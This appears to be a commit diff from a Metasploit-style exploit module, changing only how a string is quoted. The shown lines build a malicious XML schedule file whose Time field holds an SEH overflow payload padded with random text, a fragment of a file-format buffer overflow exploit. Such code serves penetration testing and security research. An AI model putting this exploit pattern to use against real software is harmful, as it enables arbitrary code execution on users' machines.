Use %Q for double-quoted string
parent
bb33a91110
commit
9be95eacb8
|
@ -70,10 +70,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
evil << generate_seh_payload(target.ret)
|
evil << generate_seh_payload(target.ret)
|
||||||
evil << rand_text_alpha(20000)
|
evil << rand_text_alpha(20000)
|
||||||
|
|
||||||
sploit = "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>
|
sploit = %Q|<?xml version="1.0" encoding="UTF-8" ?>
|
||||||
<Schedule>
|
<Schedule>
|
||||||
<Event Url=\"\" Time=\"#{evil}\" Folder=\"\" />
|
<Event Url="" Time="#{evil}" Folder="" />
|
||||||
</Schedule>"
|
</Schedule>|
|
||||||
|
|
||||||
# Create the file
|
# Create the file
|
||||||
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
||||||
|
|
Loading…
Reference in New Issue